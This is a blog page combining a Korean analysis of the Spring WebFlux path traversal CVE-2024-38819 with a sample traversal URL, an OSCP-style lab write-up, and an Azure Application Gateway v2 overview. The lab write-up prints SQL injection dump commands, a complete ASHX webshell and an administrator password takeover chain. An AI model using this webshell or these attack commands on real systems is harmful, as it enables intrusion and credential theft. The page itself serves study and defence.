'전체 글'에 해당되는 글 599건

CVE-2024-38819

경로 및 정보 2025. 9. 8. 15:11


01. File-Traversal와 Webflux 개요

  • 1) File-Traversal과 WebFlux 개요

    File-Traversal(경로 탐색, Path Traversal) 취약점은 공격자가 웹 애플리케이션에서 파일 시스템의 권한을 우회하여 임의의 파일에 접근할 수 있도록 하는 취약점 이며 CWE-22로 지정 되어있는 공격의 일종 입니다.CVE-2024-38819은 WebFlux.fn, WebMVC.fn를 사용하는 애플리케이션에서 발생하며 본 문서는 해당 취약점이 WebFlux기준으로 어떻게 발생하는지 코드 흐름을 살펴보고 이에 따른 대응 방안을 모색 해보고자 합니다.
  • Spring WebFlux는 Spring 5에서 도입된 리액티브 프로그래밍을 지원하는 모듈로, 비동기 논블로킹 애플리케이션 개발을 지원하며 WebFlux.fn은 함수형 엔드포인트 라우팅을 제공하여, 람다 표현식을 사용한 간결하고 유연한 라우팅 구성을 지원합니다.

02. Webflux 6.13환경의 File-Traversal 취약점 분석

  • 2.1 Webflux 6.13을 이용한 File-Traversal 분석

    Spring Webflux 6.13 에서 **정적 리소스(static resource)**를 서빙(Serving)하는 예제를 통해 File-Traversal 공격을 할수 있다.
    예제를 살펴 보며 Spring Webflux를 이용해 어떻게 File-Traversal 유발 되는지 알아보고자 한다.

1) Spring Webflux 6.13 활용한 File-Traversal 공격 흐름

[그림 1] FileApplication.java

[그림 1]은 Spring WebFlux에서 /static/**로 들어오는 모든 요청을 서버의 C:/file 디렉터리에서 찾아 서빙(Serving) 합니다. 여기서
RouterFunctions.resources 호출 중에 [그림 2], [그림 3] webflux 의 PathResourceLookupFunction.class 에서 의 문제가 시작됩니다.

[그림 2] PathResourceLookupFunction.class - apply

[그림 2] PathResourceLookupFunction - apply은 Spring WebFlux에서 주어진 경로가 유효한 리소스를 가리키는지 확인하고, 해당 리소스를
Mono 형태로 반환하는 역할을 합니다. 이 과정에서 경로 매칭, 유효성 검사, 경로 디코딩, 리소스 접근 등의 여러 단계를 수행 중 isInvalidPath
함수 에서 취약점이 발생합니다.

[그림 3] PathResourceLookupFunction.class - isInvalidPath

[그림 3] PathResourceLookupFunction - isInvalidPath를 보면 StringUtils.cleanPath(path).contains("../") 해당 조건이 존재 하는데
http://localhost:8080/static/file/../Windows/System32/drivers/etc/hosts 요청 시 해당 조건은 True가 될 수 없습니다. 이유로

[그림 4] StringUtils.class - cleanPath

[그림 4] StringUtils.class - cleanPath 보면 StringUtils.cleanPath(path)는 TOP_PATH("..")를 제거 후 경로를 pathElements에 넣고 top은 0이 됨으로
".."가 1번 들어간 공격 구문은 정상 구문으로 처리 됩니다. 그러하여 [그림 3]의 isInvalidPath의 함수는 false를 리턴하고

[그림 5] PathResourceLookupFunction.class - apply - 2

[그림 6] PathResourceLookupFunction.class - isResourceUnderLocation

[그림 5] 의 isResourceUnderLocation의 cleanPath 호출로 [그림 6]을 통해 cleanPath를 통한 또 한번의 검증을 거치게 되며 [그림 5]에서 넘긴 경로는 C:/file../Windows/System32/drivers/etc/hosts 이며

[그림 7] StringUtils.class - cleanPath -2

[그림 7] 의 코드를 통해 prefix는 C:/ 가 되며 경로는 [그림 4]를 통해/ Windows/System32/drivers/etc/hosts로 변경 되어 최종 리턴은
C:/Windows/System32/drivers/etc/hosts로 처리 되는 흐름 입니다.

2) Spring Webflux 6.13 활용한 File-Traversal 공격 예시

현재는 윈도우에서 C:/file로 테스트를 진행하였지만 해당 케이스가 리눅스 에 심볼릭 링크와 함께 동작 시 매우 위험하다.
(../../ 두번 설정 시 정상 로직 ../ 한번 일 경우만 취약점 발생) 

2-1) Spring Webflux 6.13 활용한 File-Traversal 공격 예시2

리눅스 서버에 심볼릭 링크와 함께 공격

 public RouterFunction<ServerResponse> staticResourceRouter() {
     return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
 }
 

심볼릭 링크 추가 ln -s /static /app/static/link 후 공격 

03. 대응 방안

지금까지 Spring Webflux환경에서 File Traversal(CVE-2024-38819)이 수행되는 흐름을 체크 해봤습니다. 서버의 정보가 탈취 당하는 공격 방식이기에 대응 방안이 중요합니다. 이를 위해 최신 버전 업데이트, 추가 검수 로직 제작, IPS를 통한 차단 방안을 제시 하고자 합니다.

  • Spring Framework 업데이트

    아래 표를 참고 하고 사용 버전을 체크 후 업그레이드 해주시기 바랍니다.
  • 추가 검수 로직 제작 예시

    위 공격 예시를 보다시피 TOP_PATH(..)가 한번 포함 된 케이스가 문제 됨으로 간략한 필터 적용 로직(참고 후 개발자 분들이 더 추가)
    @Bean
    public RouterFunction<ServerResponse> staticResourceRouter() {    
      return RouterFunctions.resources("/static/**", new FileSystemResource("C:/file"))
              .filter((request, next) -> {
                  String path = request.path();
                  if (path.contains("..")) {
                     if(!StringUtils.cleanPath(path).contains("../")) {
                         return ServerResponse.status(HttpStatus.FORBIDDEN).bodyValue("Vuln path access.");
                     }        
                  }
                  return next.handle(request);
              });
    }
    
     
  • IPS 를 통한 차단

    공격 예시 : 포스트 맨을 통해 url에 ../ 경로를 포함 하여 요청

../ 상위 경로의 이동을 유발하는 url 요청을 전부 차단

 

 

04. 결론

지금까지 Webflux를 통한 File Tarversal을 알아 봤습니다. 해당 취약점은 StringUtils.cleanPath()의 로직에서 비롯된 문제를 인지 못하고 사용한 경우 였습니다.

05. 참고자료

(POC) https://github.com/masa42/CVE-2024-38819-POC
(스프링 공식) https://spring.io/security/cve-2024-38819
(CVE-DETAIL) https://www.cvedetails.com/cve/CVE-2024-38819/
(NIST) https://nvd.nist.gov/vuln/detail/cve-2024-38819

블로그 이미지

wtdsoul

,

Introduction

This is my fourteenth writeup in the Proving Grounds series, which is part of my learning roadmap before taking the OSCP exam. This machine is called Butch, categorized as Intermediate, and runs on the Windows operating system.

Target IP:

192.168.*.63

Tools:

  1. Rustscan (https://github.com/RustScan/RustScan)
  2. AutoRecon (https://github.com/Tib3rius/AutoRecon)
  3. Webshell .ashx (https://github.com/yangbaopeng/ashx_webshel)
  4. Hashcat (https://github.com/hashcat/hashcat)
  5. SQLMap (https://github.com/sqlmapproject/sqlmap)

Reconnaissance:

The first and most important step in penetration testing is information gathering/reconnaissance. Here, I started with port scanning using Rustscan. For a more effective reconnaissance process, I also utilize AutoRecon, which runs if the results of the basic recon are not helpful.

Command: rustscan -a 192.168.244.63 -- -sV -oN nmap.txt

Press enter or click to view image in full size

The port scanning results showed several open ports, including:

  • 21 (FTP): ftpd
  • 25 (SMTP): ESMTP 10.0.17763.1
  • 135 (MSRPC): RPC
  • 139 (NETBIOS): netbios-ssn
  • 445 (SMB): SMB
  • 450 (HTTP): IIS httpd.10.0
  • 5985 (WinRM): WinRM

Out of these, I attempted to access services anonymously or without credentials, such as FTP and SMB, but was unable to gain access.

Next, I tried accessing the HTTP service on port 450. Upon accessing it, I encountered a login page, as shown in the evidence below.

Press enter or click to view image in full size

Since the login credentials were unknown, I proceeded to perform directory fuzzing using dirsearch.

Command: python3 ~/Desktop/Tools/dirsearch/dirsearch.py -u http://192.168.244.63:450/ -e* -x 400,404 --output-file dirsearch.txt

Press enter or click to view image in full size

During fuzzing, I discovered a directory at /dev/. Accessing this path revealed a directory listing. However, it did not contain any sensitive information that could be leveraged for gaining access.

Press enter or click to view image in full size

I then shifted my focus to the login feature. Since common login forms are often vulnerable to SQL Injection, I tested the input by adding a single quote (') to trigger an error. As expected, the login form returned a SQL syntax error, indicating a potential SQL Injection vulnerability.

Press enter or click to view image in full size

I attempted several boolean-based SQL Injection payloads to bypass the login, but they were unsuccessful.

As the next step, I decided to dump the database. To speed up the data exfiltration process, I used SQLmap.

Dump Database Name

Command: sqlmap -r login.txt — dbms=mssql — dbs — technique=t — risk 3 — level 5

Press enter or click to view image in full size

The database dump revealed four databases, even though the initial enumeration with SQLmap indicated that there should be five databases. This suggests that one database was not successfully dumped.

I decided to start by dumping the master database to look for any credentials.

Dump Credentials from master.sys.sql_logins

Command: sqlmap -r login.txt — dbms=mssql -D master -T sys.sql_logins — dump — technique=t — risk 3 — level 5

Press enter or click to view image in full size

From the dump results, I didn’t find any password_hash or credential data. However, I did discover that the user butch had a default_database_name set to "butch", which suggests that the missing fifth database might be named butch.

With the information gathered earlier, I was able to dump the previously missing database — butch.

Dump Database “butch”

Command: sqlmap -r login.txt — dbms=mssql -D butch — tables — technique=t — risk 3 — level 5

Press enter or click to view image in full size

Dump Table “users” from database “butch”

Command: sqlmap -r login.txt — dbms=mssql -D butch -T users — dump — technique=t — risk 3 — level 5

Press enter or click to view image in full size

Inside this database, I found a password hash belonging to the user butch. After identifying the hash format, it appeared to be SHA-256.

I then attempted to crack the hash using Hashcat with the rockyou.txt wordlist.

Command: hashcat.exe -m 1400 hash.txt “D:\Wordlists\rockyou.txt”

Press enter or click to view image in full size

The cracking process was successful, revealing the plaintext password:awesomedude .

Initial Access:

Using the credentials obtained earlier — butch:awesomedude — I successfully logged in to the web application.

Press enter or click to view image in full size

The application included a file upload feature, and since it seemed to function as a repository, I first tested it by uploading a simple TXT file.

The TXT file uploaded successfully, but the storage directory was not immediately apparent. I then tried to directly access the file at: http://192.168.244.63:450/tes.txt —and it worked!

Press enter or click to view image in full size

With the file storage location confirmed, the next step was to upload a web shell to gain remote access.

I attempted to upload webshell files with extensions .aspx and .asp, but both failed — the server responded with "Invalid file format".

To bypass the upload restriction, I tried using an alternative extension: .ashx.

Below is the content of the ASHX webshell, sourced from: https://github.com/yangbaopeng/ashx_webshell

<% @ webhandler language="C#" class="AverageHandler" %>

using System;
using System.Web;
using System.Diagnostics;
using System.IO;

public class AverageHandler : IHttpHandler
{
  /* .Net requires this to be implemented */
  public bool IsReusable
  {
    get { return true; }
  }

  /* main executing code */
  public void ProcessRequest(HttpContext ctx)
  {
    Uri url = new Uri(HttpContext.Current.Request.Url.Scheme + "://" +   HttpContext.Current.Request.Url.Authority + HttpContext.Current.Request.RawUrl);
    string command = HttpUtility.ParseQueryString(url.Query).Get("cmd");

    ctx.Response.Write("<form method='GET'>Command: <input name='cmd' value='"+command+"'><input type='submit' value='Run'></form>");
    ctx.Response.Write("<hr>");
    ctx.Response.Write("<pre>");

    /* command execution and output retrieval */
    ProcessStartInfo psi = new ProcessStartInfo();
    psi.FileName = "cmd.exe";
    psi.Arguments = "/c "+command;
    psi.RedirectStandardOutput = true;
    psi.UseShellExecute = false;
    Process p = Process.Start(psi);
    StreamReader stmrdr = p.StandardOutput;
    string s = stmrdr.ReadToEnd();
    stmrdr.Close();

    ctx.Response.Write(System.Web.HttpUtility.HtmlEncode(s));
    ctx.Response.Write("</pre>");
    ctx.Response.Write("<hr>");
    ctx.Response.Write("By http://www.twitter.com/Hypn'>@Hypn, for educational purposes only.");
 }
}

I uploaded the ASHX webshell, and it was successfully accepted!

I then accessed it via: http://192.168.244.63:450/shell.ashx —and the webshell was fully functional.

Press enter or click to view image in full size

Privilege Escalation:

Interestingly, privilege escalation was not necessary, as the webshell was already running under the NT AUTHORITY\SYSTEM user.

However, there were some limitations — the shell was unstable and couldn’t reliably execute actions such as running .exe files for a reverse shell or performing more complex tasks.

To obtain a stable interactive shell, I took advantage of the NT AUTHORITY\SYSTEM privileges to change the password for the built-in Administrator account.

Command: net user administrator P@ssw0rd!

Press enter or click to view image in full size

Once the password was updated, I was able to gain full access by using tools like Evil-WinRM or Impacket’s psexec.py, both of which provided a proper interactive shell with full administrative privileges.

Evil-WinRM

Command: evil-winrm -i 192.168.244.63 -u ‘administrator’ -p ‘P@ssw0rd!’

Press enter or click to view image in full size

Impacket PsExec

Command: impacket-psexec Administrator:’P@ssw0rd!’@192.168.244.63

Post Exploitation:

Read local.txt: e6c3ad743b48e649300a2393316e80da

Read proof.txt: d57bb84e4ef2ca0b0f6211ca6c9040bc

Closing Remarks:

Thank you for reading my writeup. I hope it is helpful to all of you. I apologize for any mistakes in my writing. I appreciate any feedback or suggestions to help me improve in the future.

블로그 이미지

wtdsoul

,

https://github.com/MicrosoftDocs/azure-docs/blob/main/articles/application-gateway/overview-v2.md

 

azure-docs/articles/application-gateway/overview-v2.md at main · MicrosoftDocs/azure-docs

Open source documentation of Microsoft Azure. Contribute to MicrosoftDocs/azure-docs development by creating an account on GitHub.

github.com

 

titledescriptionservicesauthorms.servicems.topicms.datems.authorms.custom

What is Azure Application Gateway v2?
Learn about Azure application Gateway v2 features.
application-gateway
mbender-ms
azure-application-gateway
overview
10/02/2024
mbender
references_regions, devx-track-azurepowershell

Application Gateway v2 is the latest version of Application Gateway. It provides advantages over Application Gateway v1 such as performance enhancements, autoscaling, zone redundancy, and static VIPs.

Important

Deprecation of Application Gateway V1 was announced on April 28, 2023. If you use Application Gateway V1 SKU, start planning your migration to V2 now and complete your migration to Application Gateway v2 by April 28, 2026. The v1 service isn't supported after this date.

Key capabilities

The v2 SKU includes the following enhancements:

  • TCP/TLS proxy (Preview): Azure Application Gateway now also supports Layer 4 (TCP protocol) and TLS (Transport Layer Security) proxying. This feature is currently in public preview. For more information, see Application Gateway TCP/TLS proxy overview.
  • Autoscaling: Application Gateway or WAF deployments under the autoscaling SKU can scale out or in based on changing traffic load patterns. Autoscaling also removes the requirement to choose a deployment size or instance count during provisioning. This SKU offers true elasticity. In the Standard_v2 and WAF_v2 SKU, Application Gateway can operate both in fixed capacity (autoscaling disabled) and in autoscaling enabled mode. Fixed capacity mode is useful for scenarios with consistent and predictable workloads. Autoscaling mode is beneficial in applications that see variance in application traffic.
  • Zone redundancy: An Application Gateway or WAF deployment can span multiple Availability Zones, removing the need to provision separate Application Gateway instances in each zone with a Traffic Manager. You can choose a single zone or multiple zones where Application Gateway instances are deployed, which makes it more resilient to zone failure. The backend pool for applications can be similarly distributed across availability zones.
  • Zone redundancy is available only where Azure availability zones are available. In other regions, all other features are supported. For more information, see Azure regions with availability zone support.
  • Static VIP: Application Gateway v2 SKU supports the static VIP type exclusively. Static VIP ensures that the VIP associated with the application gateway doesn't change for the lifecycle of the deployment, even after a restart. You must use the application gateway URL for domain name routing to App Services via the application gateway, as v1 doesn't have a static VIP.
  • Header Rewrite: Application Gateway allows you to add, remove, or update HTTP request and response headers with v2 SKU. For more information, see Rewrite HTTP headers with Application Gateway
  • Key Vault Integration: Application Gateway v2 supports integration with Key Vault for server certificates that are attached to HTTPS enabled listeners. For more information, see TLS termination with Key Vault certificates.
  • Mutual Authentication (mTLS): Application Gateway v2 supports authentication of client requests. For more information, see Overview of mutual authentication with Application Gateway.
  • Azure Kubernetes Service Ingress Controller: The Application Gateway v2 Ingress Controller allows the Azure Application Gateway to be used as the ingress for an Azure Kubernetes Service (AKS) known as AKS Cluster. For more information, see What is Application Gateway Ingress Controller.
  • Private link: The v2 SKU offers private connectivity from other virtual networks in other regions and subscriptions by using private endpoints.
  • Performance enhancements: The v2 SKU offers up to 5X better TLS offload performance as compared to the Standard/WAF SKU.
  • Faster deployment and update time: The v2 SKU provides faster deployment and update time as compared to Standard/WAF SKU. The faster time also includes WAF configuration changes.

Note

Some of the capabilities listed here are dependent on the SKU type.

SKU types

Application Gateway v2 is available under two SKUs:

  • Basic (preview): The Basic SKU is designed for applications that have lower traffic and SLA requirements, and don't need advanced traffic management features. For information on how to register for the public preview of Application Gateway Basic SKU, see Register for the preview.
  • Standard_v2 SKU: The Standard_v2 SKU is designed for running production workloads and high traffic. It also includes autoscaling, which can automatically adjust the number of instances to match your traffic needs.

The following table displays a comparison between Basic and Standard_v2.

FeatureCapabilitiesBasic SKU (preview)Standard SKU

Reliability SLA 99.9 99.95
Functionality - basic HTTP/HTTP2/HTTPS
WebSocket
Public/Private IP
Cookie Affinity
Path-based affinity
Wildcard
Multisite
KeyVault
Zone
Header rewrite


















Functionality - advanced AKS (via AGIC)
URL rewrite
mTLS
Private Link
Private-only (preview)
TCP/TLS Proxy (preview)
 




Scale Max. connections per second
Number of listeners
Number of backend pools
Number of backend servers per pool
Number of rules
2001
5
5
5
5
625001
100
100
1200
400
Capacity Unit Connections per second per compute unit
Throughput
Persistent new connections
10
2.22 Mbps
2500
50
2.22 Mbps
2500

1Estimated based on using an RSA 2048-bit key TLS certificate.

Pricing

With the v2 SKU, consumption drives the pricing model and is no longer attached to instance counts or sizes. To learn more, see Understanding pricing.

Unsupported regions

Currently, the Standard_v2 and WAF_v2 SKUs aren't available in the following regions:

  • China East
  • China North
  • US DOD East
  • US DOD Central

Migrate from v1 to v2

An Azure PowerShell script is available in the PowerShell gallery to help you migrate from your v1 Application Gateway/WAF to the v2 Autoscaling SKU. This script helps you copy the configuration from your v1 gateway. Traffic migration is still your responsibility. For more information, see Migrate Azure Application Gateway from v1 to v2.

Feature comparison between v1 SKU and v2 SKU

The following table compares the features available with each SKU.

Featurev1 SKUv2 SKU

Autoscaling  
Zone redundancy  
Static VIP  
Azure Kubernetes Service (AKS) Ingress controller  
Azure Key Vault integration  
Rewrite HTTP(S) headers  
Enhanced Network Control (NSG, Route Table, Private IP Frontend only)  
URL-based routing
Multiple-site hosting
Mutual Authentication (mTLS)  
Private Link support  
Traffic redirection
Web Application Firewall (WAF)
WAF custom rules  
WAF policy associations  
Transport Layer Security (TLS)/Secure Sockets Layer (SSL) termination
End-to-end TLS encryption
Session affinity
Custom error pages
WebSocket support
HTTP/2 support
Connection draining
Proxy NTLM authentication  
Path based rule encoding  
DHE Ciphers  

Note

The autoscaling v2 SKU now supports default health probes to automatically monitor the health of all resources in its backend pool and highlight those backend members that are considered unhealthy. The default health probe is automatically configured for backends that don't have any custom probe configuration. To learn more, see health probes in application gateway.

Differences from the v1 SKU

This section describes features and limitations of the v2 SKU that differ from the v1 SKU.

DifferenceDetails

Mixing Standard_v2 and Standard Application Gateway on the same subnet Not supported
User-Defined Route (UDR) on Application Gateway subnet For information about supported scenarios, see Application Gateway configuration overview.
NSG for Inbound port range - 65200 to 65535 for Standard_v2 SKU
- 65503 to 65534 for Standard SKU.
Not required for v2 SKUs in public preview Learn more.
For more information, see the FAQ.
Performance logs in Azure diagnostics Not supported.
Azure metrics should be used.
FIPS mode Currently not supported.
Private frontend configuration only mode Currently in public preview Learn more.
Path based rule encoding Not supported.
V2 decodes paths before routing. For example, V2 treats /abc%2Fdef the same as /abc/def.
Chunked file transfer In the Standard_V2 configuration, turn off request buffering to support chunked file transfer.
In WAF_V2, turning off request buffering isn't possible because it has to look at the entire request to detect and block any threats. Therefore, the suggested alternative is to create a path rule for the affected URL and attach a disabled WAF policy to that path rule.
Cookie Affinity Current V2 doesn't support appending the domain in session affinity Set-Cookie, which means that the cookie can't be used by client for the subdomains.
Microsoft Defender for Cloud integration Not yet available.

Register for the preview

Run the following Azure CLI commands to register for the preview of Application Gateway Basic SKU.

Set-AzContext -Subscription "<your subscription ID>"
Get-AzProviderFeature -FeatureName AllowApplicationGatewayBasicSku -ProviderNamespace "Microsoft.Network"
Register-AzProviderFeature -FeatureName AllowApplicationGatewayBasicSku -ProviderNamespace Microsoft.Network 
 

Unregister the preview

To unregister from the public preview of Basic SKU:

  1. Delete all instances of Application Gateway Basic SKU from your subscription.
  2. Run the following Azure CLI commands:
Set-AzContext -Subscription "<your subscription ID>"
Get-AzProviderFeature -FeatureName AllowApplicationGatewayBasicSku -ProviderNamespace "Microsoft.Network"
Unregister-AzProviderFeature -FeatureName AllowApplicationGatewayBasicSku -ProviderNamespace Microsoft.Network 
 

Next steps

Depending on your requirements and environment, you can create a test Application Gateway using either the Azure portal, Azure PowerShell, or Azure CLI.

블로그 이미지

wtdsoul

,